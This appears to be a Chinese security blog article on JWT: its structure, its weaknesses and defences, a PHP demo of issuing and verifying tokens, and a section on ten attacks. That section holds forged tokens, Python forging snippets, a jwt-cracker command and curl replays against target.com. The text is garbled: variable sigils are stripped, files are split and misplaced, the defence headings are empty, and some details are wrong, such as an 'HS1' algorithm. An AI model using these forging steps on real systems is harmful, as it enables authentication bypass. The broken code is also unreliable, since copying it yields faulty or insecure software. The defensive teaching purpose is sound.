JWT 安全研究:从本质到攻防
一、引言
在现代 Web 应用的身份认证体系中,JWT(JSON Web Token)几乎成为事实上的标准。前端工程师喜欢它的"无状态",后端工程师喜欢它的"轻便",架构师喜欢它的"分布式友好"。然而,作为安全研究员,我们更需要问一个问题:JWT 本质上是什么,它真的安全吗?
从本质上说,JWT 不是加密技术,而是 一种自包含的、基于签名的身份凭证格式。这一点决定了它的安全边界和潜在风险。
二、JWT 的本质
要理解 JWT 的安全问题,首先必须抓住它的本质。JWT = Header + Payload + Signature。
- Header(头部)
描述 Token 的类型和所使用的签名算法,例如:
{ "alg": "HS256", "typ": "JWT" } - Payload(载荷)
携带用户信息和声明(claims),如用户 ID、角色、过期时间等:
{ "sub": "alice", "role": "admin", "exp": 1693918080 } - Signature(签名)
用密钥和算法(如 HMAC-SHA256)对 Header 和 Payload 的组合进行签名,用来防止数据篡改。
这三个部分经过 Base64URL 编码后拼接为:header.payload.signature
1. 签名 ≠ 加密
一个常见的误区是"JWT 里的数据是安全的"。事实上,JWT 的 Payload 只是 Base64URL 编码,任何人都能解码查看。签名仅保证数据完整性,不能保证数据保密性。
2. 自包含的设计
JWT 的设计理念是"无状态"。服务端不再保存 Session,而是直接把身份和权限信息放进 Token。这样,任何一个服务只要能验证签名,就能确认用户身份。
这意味着:
- JWT 本质上是一个"不可更改的身份证"。
- 一旦有人能伪造 Token,就等于拿到了系统的万能钥匙。
三、JWT 与传统 Session 的对比
理解 JWT 的本质,还需要把它与传统 Session 机制做对比。
|--------|--------------------|----------------------------|
| 特性 | Session | JWT |
| 存储位置 | 服务端存储(Redis/DB/内存) | 客户端存储(Cookie/LocalStorage) |
| 状态管理 | 有状态,需查 Session ID | 无状态,直接验证签名 |
| 分布式支持 | 需共享 Session 数据 | 天然支持分布式 |
| 撤销机制 | 随时删除 Session ID | 难以撤销,必须等过期 |
| 泄露风险 | Session ID 被窃取 | JWT 泄露或伪造 |
可以看到:
- Session 把安全性寄托在"服务端掌控一切"上;
- JWT 把安全性寄托在"签名正确性"上。
换句话说,JWT 的安全核心在于:签名密钥必须安全、签名算法必须正确实现、验证逻辑必须严格。
四、JWT 的安全弱点(本质层面)
从安全研究视角,JWT 的"方便"与"灵活"恰恰也是它的攻击面。以下是本质上的安全弱点:
1. Payload 明文可见
JWT 的 Payload 可被任何人解码。例如:
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYWxpY2UiLCAicm9sZSI6ICJhZG1pbiJ9.abc123
解码后立刻暴露用户身份和角色。如果开发者错误地把敏感数据(如密码、银行卡号)放进去,直接就是信息泄露。
2. 不可撤销性
JWT 一旦签发,服务端无法单独作废。
- 如果 Token 有效期为 1 小时,被窃取后攻击者可以在这一小时内随意冒充用户。
- 除非引入黑名单机制(破坏了"无状态"),否则无法解决。
3. 依赖签名的单点安全
JWT 的所有安全性都依赖签名:
- 如果 secret 太弱,攻击者可字典爆破。
- 如果验证逻辑有误,攻击者可能绕过签名。
- 如果支持多算法,攻击者可进行算法混淆攻击。
4. 算法灵活导致攻击面
JWT 设计时支持多种签名算法,结果导致以下漏洞:
- none 算法漏洞:如果服务端允许 alg=none,攻击者可伪造 Token。
- RS/HS 混淆攻击:如果服务端错误地把公钥当作 HMAC secret 使用,就可能导致伪造签名。
5. 过期机制脆弱
JWT 的 exp、nbf、iat 等字段只是数字。
- 一些开发者只验证签名,而忽略时间字段。
- 这导致攻击者能长期使用过期 Token。
五、JWT 常见攻击与案例
作为安全研究员,在渗透测试和代码审计中,常见的 JWT 攻击手法包括:
1. none 算法攻击
早期一些库支持 alg=none,意味着不进行签名验证。攻击者只要把 Header 改成:
{ "alg": "none", "typ": "JWT" }
并删除 Signature,就能伪造任意用户身份。
2. 弱密钥爆破
如果服务端使用简单的密钥(如 secret、123456),攻击者可以使用工具(如 jwt-cracker)进行字典爆破,快速找到签名密钥,从而伪造 Token。
3. RS/HS 混淆攻击
如果系统支持 RS256(非对称加密),攻击者可以把 alg 改成 HS256,并用公钥作为 HMAC 密钥计算签名。由于服务端错误实现,可能导致验证通过。
4. KID 注入
一些 JWT 实现支持 kid(Key ID)字段,用于指定哪个密钥验证 Token。攻击者可能通过目录遍历、SQL 注入等方式在 kid 上做文章,进而绕过签名验证。
5. 重放攻击
JWT 缺乏内置的防重放机制。如果攻击者截获了合法 Token,可以在其过期前无限使用,造成会话劫持。
六、JWT 的安全设计原则
从安全研究角度,我们可以总结出以下设计与防御原则:
- 强密钥
- 使用至少 256 位的随机密钥,避免字典爆破。
- 定期更换密钥。
- 禁用 none 算法
- 在服务端明确指定只接受特定算法(如 HS256 或 RS256)。
- 避免算法混淆
- 如果使用非对称加密(RS256),严格区分公钥和私钥,不要让公钥参与 HMAC。
- 验证时间字段
- 必须验证 exp、nbf、iat,避免过期或提前使用。
- 最小化 Payload 信息
- 不要在 JWT 中放敏感数据(密码、银行卡、邮箱验证状态等)。
- 仅放必要的 ID、角色等。
- 引入撤销机制
- 可以维护黑名单(虽然牺牲"无状态"),或者缩短 JWT 的过期时间并配合 Refresh Token 机制。
- 传输安全
- 必须使用 HTTPS 传输,防止中间人窃取 Token。
- 存储安全
- 避免把 Token 存在 LocalStorage(容易被 XSS 窃取)。
- 更推荐存放在 HttpOnly Cookie 中。
七、JWT 安全研究的本质认识
经过以上分析,我们可以回到 JWT 的"本质":
- JWT 并不是一种加密机制,而是一个 被签名的 JSON 数据结构。
- 它的安全性依赖:
- 签名算法的正确实现
- 密钥的强度和保密性
- 开发者是否正确校验时间、算法等
换句话说:
- JWT 自身并不保证安全,它只是一个便利的载体。
- 真正决定安全性的,是开发者的实现与使用方式。
- 在攻击者眼里,JWT 的价值在于:它是"单点突破"的目标,一旦拿到密钥或找到逻辑缺陷,整个系统将被完全接管。
八、结语
JWT 作为现代 Web 应用广泛使用的认证方式,其便利性无可替代。但从安全研究的视角来看,它的本质------"自包含的签名 JSON"------注定让它背负诸多风险。
它不像 Session 那样可控,而是把安全问题转移到"签名与密钥"上。
它的灵活性让开发者高效,但同时也给攻击者留下了丰富的攻击面。
因此,JWT 不应被视为一种"安全技术",而应被视为一种"便捷机制"。安全研究员需要始终提醒开发者:
- 不要过度信任 JWT;
- 不要把敏感数据放进 JWT;
- 不要忽略签名验证的每一个细节。
最终,JWT 安全的核心并不是"JWT 本身",而是"开发者能否正确理解并使用它"。
PHP 的轻量级 JWT 演示项目
项目功能设计
- 登录页面
- 用户输入用户名 + 密码
- 验证成功后,生成一个 JWT 返回给用户
- 访问受保护页面
- 用户访问时必须带 JWT
- 服务端验证 JWT 的签名 + 过期时间
- 如果合法,显示用户信息,否则拒绝
项目结构
/jwt_demo
├── index.php # 登录表单
├── login.php # 登录处理 & JWT 生成
├── protected.php # 需要 JWT 才能访问的页面
├── jwt.php # JWT 工具函数(生成 & 验证)
代码实现
1. jwt.php ------ JWT 工具函数
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <?php // jwt.php // Secret key(生产环境要设置复杂的随机值) secret = "my_secret_key"; // 生成 JWT function generate_jwt(payload, secret) { header = json_encode(['alg' => 'HS256', 'typ' => 'JWT']); base64UrlHeader = str_replace(\['+', '/', '='\], \['-', '_', ''\], base64_encode(header)); base64UrlPayload = str_replace(\['+', '/', '='\], \['-', '_', ''\], base64_encode(json_encode(payload))); signature = hash_hmac('sha256', base64UrlHeader . "." . base64UrlPayload, secret, true); base64UrlSignature = str_replace(\['+', '/', '='\], \['-', '_', ''\], base64_encode(signature)); return base64UrlHeader . "." . base64UrlPayload . "." . base64UrlSignature; } // 验证 JWT function verify_jwt(jwt, secret) { tokenParts = explode('.', jwt); if (count(tokenParts) !== 3) return false; header = base64_decode(strtr(tokenParts[0], '-', '+/')); payload = base64_decode(strtr(tokenParts[1], '-', '+/')); signatureProvided = tokenParts[2]; // 重新计算签名 signature = hash_hmac('sha256', tokenParts[0] . "." . tokenParts\[1\], secret, true); base64UrlSignature = str_replace(\['+', '/', '='\], \['-', '_', ''\], base64_encode(signature)); // 检查签名是否匹配 if (base64UrlSignature !== signatureProvided) { return false; } // 检查过期时间 payloadArray = json_decode(payload, true); if (isset(payloadArray\['exp'\]) \&\& payloadArray['exp'] < time()) { return false; // Token 过期 } return $payloadArray; } ?> |
2. index.php ------ 登录页面
|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>JWT 登录</title> </head> <body> <h2>用户登录</h2> <form method="POST" action="login.php"> 用户名: <input type="text" name="username"><br> 密码: <input type="password" name="password"><br> <button type="submit">登录</button> </form> </body> </html> |
3. login.php ------ 登录处理 & JWT 签发
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| 4. protected.php ------ 受保护页面 |---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| 运行流程 JWT 安全问题与攻击技术 1. none 算法漏洞 安全问题: JWT Header 的 alg 字段被设置为 none 时,服务端可能跳过签名验证,Payload 可被任意篡改。风险包括任意权限提升和绕过认证机制。 攻击方式: 样本: 原 Token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJ1c2VyIjogImFs aWNlIiwgInJvbGUiOiAidXNlciJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c 修改后的 Token: eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyIjogImFs aWNlIiwgInJvbGUiOiAiYWRtaW4ifQ. 示例: 使用 Burp Suite 拦截请求,替换 Token 并删除 Signature,即可直接访问 /admin 接口。 防御策略: 2. 弱密钥 / 字典爆破 安全问题: JWT 使用简单或默认密钥(如 secret123),容易被攻击者通过字典或暴力破解伪造 Token。 攻击方式: 样本: 假设原 Token 使用密钥 secret: Header: {"alg":"HS256","typ":"JWT"} Payload: {"user":"bob","role":"user"} 攻击者用字典工具生成密钥: 密钥: secret 生成 Token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJ1c2Vy IjogImJvYiIsICJyb2xlIjogImFkbWluIn0.DR7QmNbd6Ux5vXqC-6XgDbk5xvE 示例: 使用 jwt-cracker -t <token> -d wordlist.txt 破解,成功后发送生成的 Token 即可访问管理员接口。 防御策略: 3. 算法混淆攻击(RS/HS 混用) 安全问题: 服务端使用 RS256 验证,但逻辑错误允许攻击者将 Header alg 修改为 HS256 并使用公钥生成签名。 攻击方式: 样本: 原 Token: Header: {"alg":"RS256","typ":"JWT"} Payload: {"user":"alice","role":"user"} Signature: <RS256签名> 攻击者修改: Header: {"alg":"HS256","typ":"JWT"} Payload: {"user":"alice","role":"admin"} Signature: <HMAC公钥生成的签名> 示例: Python 演示: import jwt public_key = open('public.pem').read() payload = {"user":"alice","role":"admin"} token = jwt.encode(payload, public_key, algorithm="HS256") print(token) 防御策略: 4. KID 注入漏洞 安全问题: JWT Header 中的 kid(Key ID)用于指定验证密钥,如果服务端未严格校验,攻击者可指定任意密钥,伪造合法 Token。 风险:攻击者可冒充任意用户,包括管理员。 攻击方式: 样本: 原 Token: Header: {"alg":"HS256","typ":"JWT","kid":"key1"} Payload: {"user":"bob","role":"user"} Signature: <HS256签名> 攻击者修改: Header: {"alg":"HS256","typ":"JWT","kid":"attacker_key"} Payload: {"user":"bob","role":"admin"} Signature: <使用attacker_key生成的签名> 示例: Python 示例: import jwt attacker_key = "my_fake_key" payload = {"user":"bob","role":"admin"} header = {"alg":"HS256","typ":"JWT","kid":"attacker_key"} token = jwt.encode(payload, attacker_key, algorithm="HS256", headers=header) print(token) 防御策略: 5. 过期时间绕过 安全问题: JWT 的 exp(过期时间)、nbf(生效时间)字段未严格验证,攻击者可使用过期或未生效 Token。 风险:会话劫持,长期访问受保护资源。 攻击方式: 样本: 原 Payload: {"user":"alice","role":"user","exp":1693700000} 攻击者修改: {"user":"alice","role":"admin","exp":1893700000} 示例: Python 演示: import jwt secret = "mysecret" payload = {"user":"alice","role":"admin","exp":1893700000} token = jwt.encode(payload, secret, algorithm="HS256") print(token) 防御策略: 6. Payload 明文信息泄露 安全问题: JWT Payload 仅 Base64URL 编码,不加密,攻击者可直接查看敏感信息。 风险:泄露用户角色、ID、邮箱等,辅助其他攻击(横向渗透、社工)。 攻击方式: 样本: Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYm9iIiwicm9sZSI6ImFkbWluIiwiZW1haWwiOiJib2JAbWFpbC5jb20ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c 解码 Payload: {"user":"bob","role":"admin","email":"bob@mail.com"} 示例: Linux 命令: echo 'eyJ1c2VyIjoiYm9iIiwicm9sZSI6ImFkbWluIn0' | base64 -d 防御策略: 7. Token 重放 安全问题: JWT 无内置防重放机制,攻击者可重复使用抓取的 Token。 风险:冒充用户访问接口,造成会话劫持。 攻击方式: 样本: Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UifQ.<Signature> 攻击者直接在请求 Header 中替换 Authorization 即可访问接口。 示例: 使用 curl 重放: curl -H "Authorization: Bearer <token>" https://target.com/api/admin 防御策略: 8. Token 劫持(存储或传输不安全) 安全问题: JWT 存储在 LocalStorage 或通过 HTTP 明文传输,容易被 XSS 或 MITM 攻击者窃取。 风险:攻击者可获取用户身份,执行非法操作。 攻击方式: 样本: // 获取 LocalStorage 中 Token let token = localStorage.getItem("jwt_token"); console.log(token); 示例: 攻击者在浏览器控制台或通过恶意脚本获取 Token,并发送请求: curl -H "Authorization: Bearer <stolen_token>" https://target.com/api 防御策略: 9. 签名算法降级 安全问题: 允许客户端指定算法,攻击者可指定已知弱算法(如 MD5、SHA1)进行伪造。 风险:绕过强算法验证,实现权限提升。 攻击方式: 样本: Header: {"alg":"HS1","typ":"JWT"} Payload: {"user":"alice","role":"admin"} 示例: Python: import jwt secret = "weaksecret" payload = {"user":"alice","role":"admin"} token = jwt.encode(payload, secret, algorithm="HS1") print(token) 防御策略: 10. 过度依赖客户端验证 安全问题: 服务端未独立验证 Token,权限逻辑放在客户端,攻击者可修改 Payload 绕过前端判断。 风险:可访问受保护资源,造成权限提升。 攻击方式: 样本: Payload: {"user":"bob","role":"admin"} 示例: Python: import requests token = "<modified_token>" headers = {"Authorization": f"Bearer {token}"} response = requests.get("https://target.com/api/admin", headers=headers) print(response.text) 防御策略:
| <?php include 'jwt.php'; // 模拟用户数据库 users = \[ "alice" =\> "123456", "bob" =\> "password" \]; username = _POST\['username'\]; password = _POST\['password'\]; if (isset(users[username\]) \&\& users[username\] === password) { // 登录成功 -> 生成 JWT payload = \[ "sub" =\> username, "role" => (username === "alice" ? "admin" : "user"), "exp" =\> time() + 60\*5 // 5分钟过期 \]; jwt = generate_jwt(payload, secret); echo "登录成功!你的 JWT:<br><br>"; echo "<textarea rows='5' cols='80'>jwt\\
\
"; echo "\
| <?php include 'jwt.php'; // 获取 token(通过 GET 或 Header) jwt = _GET['token'] ?? null; if (!jwt) { die("未提供 Token!"); } payload = verify_jwt(jwt, secret); if (payload) { echo "\欢迎你," .
payload['sub'] . "!</h2>"; echo "你的角色是: " . payload\['role'\] . "\
"; echo "Token 将在 " . date("Y-m-d H:i:s", payload['exp']) . " 过期<br>"; } else { echo "Token 无效或已过期!"; } ?> |